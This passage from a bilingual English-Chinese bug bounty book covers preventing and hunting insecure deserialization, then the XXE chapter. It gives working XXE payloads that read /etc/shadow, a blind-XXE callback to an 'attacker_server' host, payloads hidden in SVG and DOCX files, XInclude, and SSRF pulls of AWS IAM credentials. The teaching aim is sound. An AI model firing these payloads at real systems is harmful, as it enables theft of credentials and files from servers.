You can also use simple data types, like strings and arrays, instead of objects that need to be serialized when being transported. And, to prevent the tampering of serialized cookies, you can keep track of the session state on the server instead of relying on user input for session information. Finally, you should keep an eye out for patches and make sure your dependencies are up-to-date to avoid introducing deserialization vulnerabilities via third-party code.

你也可以使用简单的数据类型，如字符串和数组，而不是需要在传输时进行序列化的对象。为了防止序列化Cookie被篡改，你可以在服务器上跟踪会话状态，而不是依赖用户输入的会话信息。最后，你应该密切关注补丁，并确保你的依赖项是最新的，以避免通过第三方代码引入反序列化漏洞。

Some developers try to mitigate deserialization vulnerabilities by identifying the commonly vulnerable classes and removing them from the application. This effectively restricts available gadgets attackers can use in gadget chains. However, this isn’t a reliable form of protection. Limiting gadgets can be a great layer of defense, but hackers are creative and can always find more gadgets in other libraries, coming up with creative ways to achieve the same results. It’s important to address the root cause of this vulnerability: the fact that the application deserializes user data insecurely.

有些开发者试图通过识别通常容易受到攻击的类并从应用程序中移除它们来减轻反序列化漏洞的影响。这有效地限制了攻击者在器件链中使用的可用手段。然而，这并不是一种可靠的保护形式。限制设备可以是很好的防御层，但黑客很有创意，他们总能在其他库中找到更多的设备，并想出创造性的方式来实现相同的结果。重要的是要解决这种漏洞的根本原因：应用程序不安全地反序列化用户数据。

The OWASP Deserialization Cheat Sheet is an excellent resource for learning how to prevent deserialization flaws for your specific technology: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html .

OWASP反序列化作弊表是学习如何防止特定技术的反序列化漏洞的绝佳资源：https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html。

Hunting for Insecure Deserialization

Conducting a source code review is the most reliable way to detect deserialization vulnerabilities. From the examples in this chapter, you can see that the fastest way to find insecure deserialization vulnerabilities is by searching for deserialization functions in source code and checking if user input is being passed into it recklessly. For example, in a PHP application, look for unserialize() , and in a Java application, look for readObject() . In Python and Ruby applications, look for the functions pickle.loads() and Marshall.load() , respectively.

进行源代码审查是检测反序列化漏洞最可靠的方式。从本章的示例中，您可以看到最快的发现不安全的反序列化漏洞的方法是在源代码中搜索反序列化函数，并检查是否不负责任地传递了用户输入。例如，在PHP应用程序中，查找unserialize（），在Java应用程序中查找readObject（）。在Python和Ruby应用程序中，分别查找pickle.loads（）和Marshall.load（）函数。

But many bug bounty hunters have been able to find deserialization vulnerabilities without examining any code. Here are some strategies that you can use to find insecure deserialization without access to source code.

但许多漏洞赏金猎人能够在不检查任何代码的情况下找到反序列化漏洞。以下是一些您可以使用的策略，以在没有访问源代码的情况下找到不安全的反序列化。

Begin by paying close attention to the large blobs of data passed into an application. For example, the base64 string Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6InZpY2tpZSI7czo2OiJzdGF0dXMiO3M6OToibm90IGFkbWluIjt9 is the base64-encoded version of the PHP serialized string O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";} .

从密切关注传递到应用程序中的大型数据块开始。例如，base64字符串Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6InZpY2tpZSI7czo2OiJzdGF0dXMiO3M6OToibm90IGFkbWluIjt9是PHP序列化字符串O：4：“User”：2的base64编码版本：{s ：8：“用户名”；s：6：“ vickie”；s：6：“状态”；s：9：“非管理员”；}。

And this is the base64 representation of a serialized Python object of class Person with a name attribute of vickie : gASVLgAAAAAAAACMCF9fbWFpbl9flIwGUGVyc29ulJOUKYGUfZSMBG5hbWWUjAZWaWNraWWUc2Iu .

这是Python对象序列化为Base64表示的Person类，该对象具有名为vickie的属性：gASVLgAAAAAAAACMCF9fbWFpbl9flIwGUGVyc29ulJOUKYGUfZSMBG5hbWWUjAZWaWNraWWUc2Iu。

These large data blobs could be serialized objects that represent object injection opportunities. If the data is encoded, try to decode it. Most encoded data passed into web applications is encoded with base64. For example, as mentioned earlier, Java serialized objects often start with the hex characters AC ED 00 05 or the characters rO0 in base64. Pay attention to the Content-Type header of an HTTP request or response as well. For example, a Content-Type set to application/x-java-serialized-object indicates that the application is passing information via Java serialized objects.

这些大型数据块可能是序列化对象，代表对象注入机会。如果数据已编码，请尝试解码。大多数传递到 Web 应用程序的编码数据都是使用 base64 编码的。例如，正如先前提到的，Java 序列化对象通常以十六进制字符 AC ED 00 05 或字符 rO0（在 base64 中）开头。同时还要注意 HTTP 请求或响应的 Content-Type 头。例如，设置为 application/x-java-serialized-object 的 Content-Type 表示应用程序通过 Java 序列化对象传递信息。

Alternatively, you can start by seeking out features that are prone to deserialization flaws. Look for features that might have to deserialize objects supplied by the user, such as database inputs, authentication tokens, and HTML form parameters.

你可以寻找可能存在反序列化缺陷的特征。寻找需要反序列化用户提供对象的特征，例如数据库输入、认证令牌和 HTML 表单参数。

Once you’ve found a user-supplied serialized object, you need to determine the type of serialized object it is. Is it a PHP object, a Python object, a Ruby object, or a Java object? Read each programming language’s documentation to familiarize yourself with the structure of its serialized objects.

一旦找到了用户提供的序列化对象，就需要确定它是哪种类型的序列化对象。它是PHP对象、Python对象、Ruby对象还是Java对象？阅读每种编程语言的文档，熟悉其序列化对象的结构。

Finally, try tampering with the object by using one of the techniques I’ve mentioned. If the application uses the serialized object as an authentication mechanism, try to tamper with the fields to see if you can log in as someone else. You can also try to achieve RCE or SQL injection via a gadget chain.

最后，尝试使用我提到的技术之一来篡改对象。如果应用程序使用序列化对象作为认证机制，请尝试篡改字段以查看是否可以登录为其他人。您还可以尝试通过小工具链实现RCE或SQL注入。

Escalating the Attack

This chapter has already described how insecure deserialization bugs often result in remote code execution, granting the attacker a wide range of capabilities with which to impact the application. For that reason, deserialization bugs are valuable and impactful vulnerabilities. Even when RCE isn’t possible, you might be able to achieve an authentication bypass or otherwise meddle with the logic flow of the application.

这一章已经描述了不安全的反序列化漏洞通常会导致远程代码执行，赋予攻击者广泛的能力来影响应用程序。因此，反序列化漏洞是有价值且有影响力的漏洞。即使无法实现远程代码执行，您可能仍能绕过身份验证或以其他方式干扰应用程序的逻辑流程。

However, the impact of insecure deserialization can be limited when the vulnerability relies on an obscure point of entry, or requires a certain level of application privilege to exploit, or if the vulnerable function isn’t available to unauthenticated users.

然而，当漏洞依赖于一个模糊的入口点，或需要一定级别的应用权限才能利用，或者易受攻击的功能不对未经认证的用户可用时，不安全反序列化的影响可以得到限制。

When escalating deserialization flaws, take the scope and rules of the bounty program into account. Deserialization vulnerabilities can be dangerous, so make sure you don’t cause damage to the target application when trying to manipulate program logic or execute arbitrary code. Read Chapter 18 for tips on how to create safe PoCs for an RCE.

在升级反序列化缺陷时，请考虑赏金计划的范围和规则。反序列化漏洞可能很危险，因此在尝试操纵程序逻辑或执行任意代码时，请确保不会对目标应用程序造成损害。阅读第18章，获取有关如何创建安全PoC进行RCE的提示。

Finding Your First Insecure Deserialization!

Now it’s time to dive in and find your first insecure deserialization vulnerability. Follow the steps we covered to find one:

现在是时候开始深入挖掘并找到您的第一个反序列化漏洞了。按照我们介绍的步骤去找一个吧：

If you can get access to an application’s source code, search for deserialization functions in source code that accept user input.

If you cannot get access to source code, look for large blobs of data passed into an application. These could indicate serialized objects that are encoded.

Alternatively, look for features that might have to deserialize objects supplied by the user, such as database inputs, authentication tokens, and HTML form parameters.

If the serialized object contains information about the identity of the user, try tampering with the serialized object found and see if you can achieve authentication bypass.

See if you can escalate the flaw into a SQL injection or remote code execution. Be extra careful not to cause damage to your target application or server.

Draft your first insecure deserialization report!

15
XML External Entity

XML external entity attacks ( XXEs) are fascinating vulnerabilities that target the XML parsers of an application. XXEs can be very impactful bugs, as they can lead to confidential information disclosure, SSRFs, and DoS attacks. But they are also difficult to understand and exploit.

XML外部实体攻击 (XXE) 是一种针对应用程序的XML解析器的迷人漏洞。 XXE可能是非常具有影响力的漏洞，因为它们可能导致机密信息泄露、SSRF和DoS攻击。但是它们也很难理解和利用。

In this chapter, we’ll dive into the ins and outs of XXEs so you can find one in the wild. We will also talk about how to use XXEs to extract sensitive files on the target system, launch SSRFs, and trigger DoS attacks.

在本章中，我们将深入探讨XXE的各个方面，以便您能够在野外找到其中一个。我们还将讨论如何使用XXE提取目标系统上的敏感文件，启动SSRF并触发DoS攻击。

Mechanisms

Extensible Markup Language ( XML) is designed for storing and transporting data. This markup language allows developers to define and represent arbitrary data structures in a text format using a tree-like structure like that of HTML. For example, web applications commonly use XML to transport identity information in Security Assertion Markup Language (SAML) authentication. The XML might look like this:

可扩展标记语言（XML）旨在存储和传输数据。这种标记语言允许开发人员使用类似于HTML的树形结构以文本格式定义和表示任意数据结构。例如，Web应用程序通常使用XML在安全声明标记语言（SAML）认证中传输身份信息。XML可能是这样的：

<saml:AttributeStatement>
  <saml:Attribute Name="username">
    <saml:AttributeValue>
      vickieli
    </saml:AttributeValue>
  </saml:Attribute>
</saml:AttributeStatement>

Notice here that unlike HTML, XML has user-defined tag names that let you structure the XML document freely. The XML format is widely used in various functionalities of web applications, including authentication, file transfers, and image uploads, or simply to transfer HTTP data from the client to the server and back.

请注意，与HTML不同，XML具有用户定义的标记名称，使您可以自由地构造XML文档。 XML格式广泛用于Web应用程序的各种功能，包括身份验证，文件传输和图像上传，或仅用于在客户端和服务器之间传输HTTP数据。

XML documents can contain a document type definition ( DTD) , which defines the structure of an XML document and the data it contains. These DTDs can be loaded from external sources or declared in the document itself within a DOCTYPE tag. For example, here is a DTD that defines an XML entity called file :

XML文档可以包含一个文档类型定义（DTD），它定义了XML文档的结构和它所包含的数据。这些DTD可以从外部源加载或在文档中通过DOCTYPE标签声明。例如，这是一个定义了一个名为“file”的XML实体的DTD：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file "Hello!">
]>
<example>&file;</example>

XML entities work like variables in programming languages: any time you reference this entity by using the syntax &file , the XML document will load the value of file in its place. In this case, any reference of &file within the XML document will be replaced by "Hello!" .

XML实体的工作方式就像编程语言中的变量一样：任何时候你使用 &file 语法引用此实体时，XML文档都会加载file的值来代替它。在这种情况下，XML文档内的任何 &file 引用都将被替换为“Hello！”。

XML documents can also use external entities to access either local or remote content with a URL. If an entity’s value is preceded by a SYSTEM keyword, the entity is an external entity, and its value will be loaded from the URL. You can see here that the following DTD declares an external entity named file , and the value of file is the contents of file:///example.txt on the local filesystem:

XML文档也可以使用外部实体来访问具有URL的本地或远程内容。如果实体的值前面带有系统关键字，则该实体是外部实体，其值将从URL加载。您可以在此处看到以下DTD声明了名为file的外部实体，而file的值是本地文件系统上file：///example.txt的内容：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "file:///example.txt">
]>
<example>&file;</example>

That last line loads the file entity in the XML document, referencing the contents of the text file located at file:///example.txt .

那最后一行加载了XML文档中的文件实体，引用位于file://example.txt的文本文件的内容。

External entities can also load resources from the internet. This DTD declares an external entity named file that points to the home page of example.com :

外部实体也可以从互联网加载资源。这个DTD声明了一个名为“file”的外部实体，指向example.com的主页。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "http://example.com/index.html">
]>
<example>&file;</example>

What’s the vulnerability hidden within this functionality? The issue is that if users can control the values of XML entities or external entities, they might be able to disclose internal files, port-scan internal machines, or launch DoS attacks.

这个功能存在哪些漏洞? 问题在于，如果用户可以控制XML实体或外部实体的值，则他们可能能够披露内部文件，端口扫描内部计算机或发动DoS攻击。

Many sites use older or poorly configured XML parsers to read XML documents. If the parser allows user-defined DTDs or user input within the DTD and is configured to parse and evaluate the DTD, attackers can declare their own external entities to achieve malicious results.

许多网站使用较旧或配置不佳的XML解析器来读取XML文档。如果解析器允许用户定义DTD或在DTD内输入用户输入，并配置为解析和评估DTD，则攻击者可以声明自己的外部实体以实现恶意结果。

For example, let’s say a web application lets users upload their own XML document. The application will parse and display the document back to the user. A malicious user can upload a document like this one to read the /etc/shadow file on the server, which is where Unix systems store usernames and their encrypted passwords:

例如，假设一个Web应用程序允许用户上传他们自己的XML文档。该应用程序将解析并将文档显示回给用户。恶意用户可以上传这样一个文档来读取服务器上的/etc/shadow文件，这是Unix系统存储用户名及其加密密码的地方。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
1 <!ENTITY file SYSTEM "file:///etc/shadow">
]>
<example>&file;</example>

Parsing this XML file will cause the server to return the contents of /etc/shadow because the XML file includes /etc/shadow via an external entity 1 .

分析这个XML文件将会导致服务器返回/etc/shadow的内容，因为这个XML文件通过一个外部实体1包含了/etc/shadow。

Attacks like these are called XML external entity attacks, or XXEs . Applications are vulnerable to XXEs when the application accepts user-supplied XML input or passes user input into DTDs, which is then parsed by an XML parser, and that XML parser reads local system files or sends internal or outbound requests specified in the DTD.

这样的攻击被称为XML外部实体攻击或XXE攻击。当应用程序接受用户提供的XML输入或将用户输入传递到DTD中，并由XML解析器解析时，应用程序就容易受到XXE攻击，XML解析器会读取本地系统文件或根据DTD指定的定义发送内部或外部请求。

Prevention

Preventing XXEs is all about limiting the capabilities of an XML parser. First, because DTD processing is a requirement for XXE attacks, you should disable DTD processing on the XML parsers if possible. If it’s not possible to disable DTDs completely, you can disable external entities, parameter entities (covered in “Escalating the Attack” on page 254 ), and inline DTDs (DTDs included in the XML document). And to prevent XXE-based DoS, you can limit the XML parser’s parse time and parse depth. You can also disable the expansion of entities entirely.

预防XXE攻击的关键在于限制XML解析器的能力。首先，由于对DTD的处理是XXE攻击的要求，如果可能的话，应该在XML解析器中禁用DTD处理。如果无法完全禁用DTD，可以禁用外部实体、参数实体（在第254页的“加剧攻击”中介绍）和内联DTD（包含在XML文档中的DTD）。为了防止基于XXE的拒绝服务攻击，可以限制XML解析器的解析时间和解析深度。您还可以完全禁用实体扩展。

The mechanisms for disabling DTD processing and configuring parser behavior vary based on the XML parser in use. For example, if you’re using the default PHP XML parser, you need to set libxml_disable_entity_loader to TRUE to disable the use of external entities. For more information on how to do it for your parser, consult the OWASP Cheat Sheet at https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md .

禁用DTD处理和配置分析器行为的机制取决于所使用的XML分析器。例如，如果您使用默认的PHP XML解析器，则需要将libxml_disable_entity_loader设置为TRUE以禁用使用外部实体。有关如何为您的解析器执行此操作的更多信息，请参阅OWASP防伪劫持清单https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md。

Another path you can take is input validation. You could create an allowlist for user-supplied values that are passed into XML documents, or sanitize potentially hostile data within XML documents, headers, or nodes. Alternatively, you can use less complex data formats like JSON instead of XML whenever possible.

另一种方法是进行输入验证。您可以创建用户提供的数值的允许列表，以传递到XML文档中，或清理XML文档中、标头或节点中的潜在恶意数据。另外，尽可能使用较少复杂的数据格式，例如JSON，而不是XML。

In classic XXEs (like the example I showed in “Mechanisms” on page 249 ), attackers exfiltrate data by making the application return data in an HTTP response. If the server takes XML input but does not return the XML document in an HTTP response, attackers can use blind XXEs to exfiltrate data instead. Blind XXEs steal data by having the target server make an outbound request to the attacker’s server with the stolen data. To prevent blind XXEs, you can disallow outbound network traffic.

在传统的XXE攻击中（比如我在第249页“机制”中展示的例子），攻击者通过让应用程序在HTTP响应中返回数据来将数据窃取。如果服务器接收XML输入，但不在HTTP响应中返回XML文档，则攻击者可以使用盲目的XXE来替代从而窃取数据。盲目的XXE通过让目标服务器向攻击者的服务器发出包含窃取数据的出站请求来窃取数据。为了防止盲目的XXE，您可以禁止出站网络流量。

Finally, you can routinely review your source code to detect and fix XXE vulnerabilities. And because many XXEs are introduced by an application’s dependencies instead of its custom source code, you should keep all dependencies in use by your application or by the underlying operating system up-to-date.

最后，您可以定期检查您的源代码以检测和修复XXE漏洞。因为许多XXE是由应用程序的依赖项而不是其自定义源代码引入的，所以您应该始终保持应用程序或底层操作系统使用的所有依赖项最新。

Hunting for XXEs

To find XXEs, start with locating the functionalities that are prone to them. This includes anywhere that the application receives direct XML input, or receives input that is inserted into XML documents that the application parses.

寻找XXE攻击，要先定位容易受攻击的功能区。这包括应用程序直接接收XML输入的地方，或接收插入到应用程序解析的XML文档中的输入。

Step 1: Find XML Data Entry Points

Many applications use XML data to transfer information within HTTP messages. To look for these endpoints, you can open up your proxy and browse the target application. Then, find XML-like documents in HTTP messages by looking for the previously mentioned tree-like structures, or by looking for the signature of an XML document: the string "<?xml" .

许多应用程序使用XML数据在HTTP消息中传输信息。要查找这些端点，您可以打开代理并浏览目标应用程序。然后，通过查找先前提到的树状结构或查找XML文档的签名：字符串"<?xml"在HTTP消息中找到类似XML的文档。

Keep an eye out for encoded XML data in the application as well. Sometimes applications use base64- or URL-encoded XML data for ease of transportation. You can find these XML entry points by decoding any blocks of data that look suspicious. For example, a base64-encoded block of XML code tends to start with LD94bWw , which is the base64-encoded string of "<?xml" .

请注意应用程序中编码的XML数据，有时应用程序使用Base64或URL编码的XML数据以方便传输。您可以通过解码任何看起来可疑的数据块来查找这些XML入口点。例如，Base64编码的XML代码块通常以LD94bWw开头，这是"<?xml"的Base64编码字符串。

Besides searching for XML within HTTP messages, you should also look for file-upload features. This is because XML forms the basis of many common file types. If you can upload one of these file types, you might be able to smuggle XML input to the application’s XML parser. XML can be written into document and image formats like XML, HTML, DOCX, PPTX, XLSX, GPX, PDF, SVG, and RSS feeds. Furthermore, metadata embedded within images like GIF, PNG, and JPEG files are all based on XML. SOAP web services are also XML based. We’ll talk more about SOAP in Chapter 24 .

除了在HTTP消息中搜索XML之外，还应查找文件上传功能。这是因为XML构成了许多常见文件类型的基础。如果您可以上传其中一种文件类型，则可能能够将XML输入走私到应用程序的XML解析器中。XML可以编写为文档和图像格式，例如XML、HTML、DOCX、PPTX、XLSX、GPX、PDF、SVG和RSS订阅。此外，嵌入在像GIF、PNG和JPEG文件中的元数据都是基于XML的。 SOAP Web服务也是基于XML的。我们将在第24章中更详细地讨论SOAP。

In addition to looking for locations where the application accepts XML data by default, you can try to force the application into parsing XML data. Sometimes endpoints take plaintext or JSON input by default but can process XML input as well. On endpoints that take other formats of input, you can modify the Content-Type header of your request to one of the following headers:

除了寻找应用程序默认接受XML数据的位置，您还可以尝试强制应用程序解析XML数据。有时，默认接受纯文本或JSON输入的端点也可以处理XML输入。在接受其他格式输入的端点上，您可以修改请求的Content-Type标题为以下标题之一：

Content-Type: text/xml
Content-Type: application/xml

Then, try to include XML data in your request body. Sometimes this is all it takes to make the target application parse your XML input.

然后，尝试在请求主体中包含XML数据。有时，这就足以使目标应用程序解析您的XML输入。

Finally, some applications receive user-submitted data and embed it into an XML document on the server side. If you suspect that is happening, you can submit an XInclude test payload to the endpoint, which I introduce in step 5.

最终，一些应用程序会接收用户提交的数据，并将其嵌入服务器端的XML文档中。如果您怀疑正在发生这种情况，您可以将XInclude测试负载提交到我在第5步介绍的终点。

Step 2: Test for Classic XXE

Once you’ve determined that the endpoints can be used to submit XML data, you can start to test for the presence of functionalities needed for XXE attacks. This usually involves sending a few trial-and-error XXE payloads and observing the application’s response.

一旦确定了终端点可以用于提交 XML 数据，您就可以开始测试是否存在进行 XXE 攻击所需的功能。这通常涉及发送一些尝试和错误的 XXE 负载，并观察应用程序的响应。

If the application is returning results from the parser, you might be able to carry out a classic XXE attack—that is, you can read the leaked files directly from the server’s response. To search for classic XXEs, first check whether XML entities are interpreted by inserting XML entities into the XML input and see if it loads properly:

如果应用程序从解析器返回结果，您可能能够进行经典的XXE攻击，也就是，您可以直接从服务器的响应中读取泄露的文件。要搜索经典的XXE，请首先检查是否通过将XML实体插入到XML输入中来解释XML实体，并查看它是否正确加载：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY test SYSTEM "Hello!">
]>
<example>&test;</example>

Then, test whether the SYSTEM keyword is usable by trying to load a local file:

然后，尝试通过加载本地文件来测试是否可以使用SYSTEM关键字：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY test SYSTEM "file:///etc/hostname">
]>
<example>&test;</example>

When the SYSTEM keyword does not work, you can replace it with the PUBLIC keyword instead. This tag requires you to supply an ID surrounded by quotes after the PUBLIC keyword. The parser uses this to generate an alternate URL for the value of the entity. For our purposes, you can just use a random string in its place:

当SYSTEM关键字无法使用时，您可以使用PUBLIC关键字代替。该标记需要在PUBLIC关键字后面提供带引号的ID。解析器使用此选项生成实体值的替代URL。对于我们的目的，您可以使用随机字符串代替。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY test PUBLIC "abc" "file:///etc/hostname">
]>
<example>&test;</example>

Next, try to extract some common system files. You can start with the files /etc/hostname and /etc/passwd , for example. Another file I like to extract using XXEs is .bash_history . This file is typically located at each user’s home directory ( ~/.bash_history ) and contains a list of commands previously executed. By reading this file, you can often uncover juicy information like internal URLs, IP addresses, and file locations. Common system files or paths mentioned here can be restricted, so don’t give up if the first few files you try to read do not display.

接着，尝试提取一些常见的系统文件。例如，你可以从文件 /etc/hostname 和 /etc/passwd 开始。另一个我喜欢使用 XXE 提取的文件是 .bash_history。这个文件通常位于每个用户的主目录(~/.bash_history)，它包含了之前执行的命令列表。通过阅读此文件，您通常可以发现内部 URL、IP 地址和文件位置等有用信息。这里提到的常见系统文件或路径可能会受到限制，所以如果您试图读取的前几个文件没有显示，请不要放弃。

Step 3: Test for Blind XXE

If the server takes XML input but does not return the XML document in an HTTP response, you can test for a blind XXE instead. Instead of reading files from the server’s response, most blind XXE attacks steal data by having the target server make a request to the attacker’s server with the exfiltrated information.

如果服务器接受XML输入但没有在HTTP响应中返回XML文档，则可以测试盲目的XXE。大多数盲目的XXE攻击并非从服务器响应中读取文件，而是通过让目标服务器向攻击者的服务器发出请求，从而窃取数据。

First, you need to make sure that the server can make outbound connections by having the target make a request to your server. You can set up a callback listener by following the instructions in Chapter 13 . The process for setting up a listener to discover XXEs is the same as setting up to find SSRFs. Try making an external entity load a resource on your machine. To bypass common firewall restrictions, you should test with ports 80 and 443 first, because the target’s firewall might not allow outbound connections on other ports:

首先，您需要确保服务器可以进行出站连接，方法是让目标向您的服务器发送请求。您可以按照第13章的说明设置回调监听器。设置监听器以发现XXE与设置查找SSRF的过程相同。尝试使外部实体在您的机器上加载资源。为了绕过常见的防火墙限制，您应该首先使用80和443端口进行测试，因为目标的防火墙可能不允许其他端口的出站连接。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt">
]>
<example>&test;</example>

You can then search the access logs of your server and look for a request to that particular file. In this case, you’ll be looking for a GET request for the xxe_test.txt file. Once you’ve confirmed that the server can make outbound requests, you can try to exfiltrate files by using the techniques covered in upcoming sections.

然后，您可以搜索服务器的访问日志并查找对该特定文件的请求。在本例中，您将寻找对xxe_test.txt文件的GET请求。一旦确认服务器可以进行出站请求，就可以尝试使用下面要讨论的技术来窃取文件。

Step 4: Embed XXE Payloads in Different File Types

Besides testing for XXEs on HTTP request bodies, you can try to upload files containing XXE payloads to the server. File-upload endpoints and file parsers are often not protected by the same XXE protection mechanisms as regular endpoints. And hiding your XXE payloads in different file types means that you will be able to upload your payloads even if the application restricts the type of files that can be uploaded.

除了在HTTP请求体中测试XXE外，您可以尝试上传包含XXE载荷的文件到服务器。文件上传端点和文件解析器通常没有像常规端点一样受到相同的XXE保护机制保护。而且，将XXE载荷隐藏在不同类型的文件中意味着，即使应用程序限制可以上传的文件类型，您也将能够上传您的载荷。

This section presents just a few examples of how to embed XXE payloads in various file types. You should be able to find more examples by searching the internet.

本节仅提供了几个将XXE负载嵌入各种文件类型中的示例。您可以通过在互联网上搜索来找到更多示例。

To embed an XXE payload in an SVG image, you need to first open up the image as a text file. Take this SVG image of a blue circle, for example:

嵌入一个XXE有效载荷到SVG图像中，您需要先将图像作为一个文本文件打开。以这个蓝色圆形的SVG图像为例：

<svg width="500" height="500">
  <circle cx="50" cy="50" r="40" fill="blue" />
</svg>

Insert the XXE payload by adding a DTD directly into the file and referencing the external entity in the SVG image. You can then save the file as an .svg file and upload it to the server:

将XXE负载插入文件中，通过直接在文件中添加DTD并在SVG图像中引用外部实体。然后，您可以将文件保存为.svg文件，并上传到服务器：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY test SYSTEM "file:///etc/shadow">
]>
<svg width="500" height="500">
  <circle cx="50" cy="50" r="40" fill="blue" />
  <text font-size="16" x="0" y="16">&test;</text>
</svg>

Microsoft Word documents ( .docx files), PowerPoint presentations ( .pptx ), and Excel worksheets ( .xlxs ) are archive files containing XML files, so you can insert XXE payloads into them as well. To do so, you should first unzip the document file. For example, I used the Unarchiver software on a Mac to extract the files. You should see a few folders containing XML files ( Figure 15-1 ).

Microsoft Word 文档（.docx 文件）、PowerPoint 演示文稿（.pptx）和 Excel 工作表（.xlxs）均为包含 XML 文件的档案文件，因此您也可以在其中插入 XXE 负载。为此，您首先需要解压缩文档文件。例如，我在 Mac 上使用 Unarchiver 软件提取文件。您应该会看到几个包含 XML 文件的文件夹（图 15-1）。

Figure 15-1 : When you unarchive a DOCX file, you will see a few folders containing XML files.

图15-1：当你解压一个DOCX文件时，你会看到几个包含XML文件的文件夹。

Then you can simply insert your payload into /word/document.xml , /ppt/presentation.xml , or /xl/workbook.xml . Finally, repack the archives into the .docx , .pptx , or .xlxs format.

然后，您可以将负载简单地插入到/word/document.xml、/ppt/presentation.xml或/xl/workbook.xml中。最后，将归档重新打包成.docx、.pptx或.xlxs格式。

You can do this by cd ing into the unarchived folder and running the command zip -r filename.format * . The zip command line utility archives files. The -r option tells zip to recursively archive files in directories, filename.format tells zip what the name of the archived file should be, and * tells zip to archive all files in the current directory. In this case, you can run these commands to create a new DOCX file:

你可以通过进入未归档文件夹并运行命令zip -r文件名格式*来完成此操作。 zip命令行实用程序对文件进行归档。 -r选项告诉zip递归地在目录中归档文件，文件名格式告诉zip所归档文件的名称，*告诉zip归档当前目录中的所有文件。在这种情况下，您可以运行这些命令来创建新的DOCX文件：

cd example
zip -r new_example.docx *

You should see the repacked document appear in the current directory.

你应该能看到重新打包的文档出现在当前目录下。

Step 5: Test for XInclude Attacks

Sometimes you cannot control the entire XML document or edit the DTD of an XML document. But you can still exploit an XXE vulnerability if the target application takes your user input and inserts it into XML documents on the backend.

有时你无法控制整个XML文档，或者编辑XML文档的DTD。但是如果目标应用程序接受您的用户输入并将其插入后端的XML文档中，您仍然可以利用XXE漏洞。

In this situation, you might be able to execute an XInclude attack instead. XInclude is a special XML feature that builds a separate XML document from a single XML tag named xi:include . If you can control even a single piece of unsanitized data passed into an XML document, you might be able to place an XInclude attack within that value.

在这种情况下，你可能会执行一个XInclude攻击。 XInclude是一种特殊的XML功能，可以从一个名为xi：include的单个XML标记构建单独的XML文档。如果您可以控制传递到XML文档的未经过滤的数据的任何一个部分，则可能将XInclude攻击放置在该值中。

To test for XInclude attacks, insert the following payload into the data entry point and see if the file that you requested gets sent back in the response body:

为测试XInclude攻击，请将以下负载插入到数据输入点中，并查看请求的文件是否会发送回响应主体中：

<example xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/hostname"/>
</example>

This piece of XML code does two things. First, it references the http://www.w3.org/2001/XInclude namespace so that we can use the xi:include element. Next, it uses that element to parse and include the /etc/hostname file in the XML document.

这段XML代码有两个作用。首先，它引用了http://www.w3.org/2001/XInclude命名空间，以便我们可以使用xi:include元素。接下来，它使用该元素来解析并包含XML文档中的/etc/hostname文件。

Escalating the Attack

What you can achieve with an XXE vulnerability depends on the permissions given to the XML parser. Generally, you can use XXEs to access and exfiltrate system files, source code, and directory listings on the local machine. You can also use XXEs to perform SSRF attacks to port-scan the target’s network, read files on the network, and access resources that are hidden behind a firewall. Finally, attackers sometimes use XXEs to launch DoS attacks.

使用XXE漏洞可以获得的权限取决于XML解析器授予的权限。通常，您可以使用XXE来访问和窃取本地机器上的系统文件、源代码和目录列表。您还可以使用XXE执行SSRF攻击来端口扫描目标网络、读取网络上的文件以及访问隐藏在防火墙后的资源。最后，攻击者有时使用XXE启动DoS攻击。

Reading Files

To read local files by using an XXE vulnerability, place the local file’s path into the DTD of the parsed XML file. Local files can be accessed by using the file:// URL scheme followed by the file’s path on the machine. This payload will make the XML parser return the contents of the /etc/shadow file on the server:

使用XXE漏洞读取本地文件，将本地文件路径放入已解析XML文件的DTD中。可以使用文件：// URL方案后跟该机器上的文件路径来访问本地文件。此有效载荷将使XML解析器返回服务器上/ etc / shadow文件的内容。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "file:///etc/shadow">
]>
<example>&file;</example>

Launching an SSRF

Besides retrieving system files, you can use the XXE vulnerability to launch SSRF attacks against the local network. For example, you can launch a port scan by switching out the external entity’s URL with different ports on the target machine. This is similar to the port-scanning technique mentioned in Chapter 13 , where you can determine the status of a port by analyzing differences in the server’s responses:

除了检索系统文件外，您还可以使用XXE漏洞发起针对本地网络的SSRF攻击。例如，您可以通过在目标机器上使用不同的端口替换外部实体的URL来发起端口扫描。这类似于第13章提到的端口扫描技术，通过分析服务器响应中的差异可以确定端口的状态。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "http://10.0.0.1:80">
]>
<example>&file;</example>

You can also use an XXE to launch an SSRF to pull instance metadata, as we talked about in Chapter 13 . This payload will make the parser return AWS metadata:

您还可以使用 XXE 进行 SSRF 启动来提取实例元数据，就像我们在第13章中讨论的那样。此有效载荷将导致解析器返回 AWS 元数据。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<example>&file;</example>

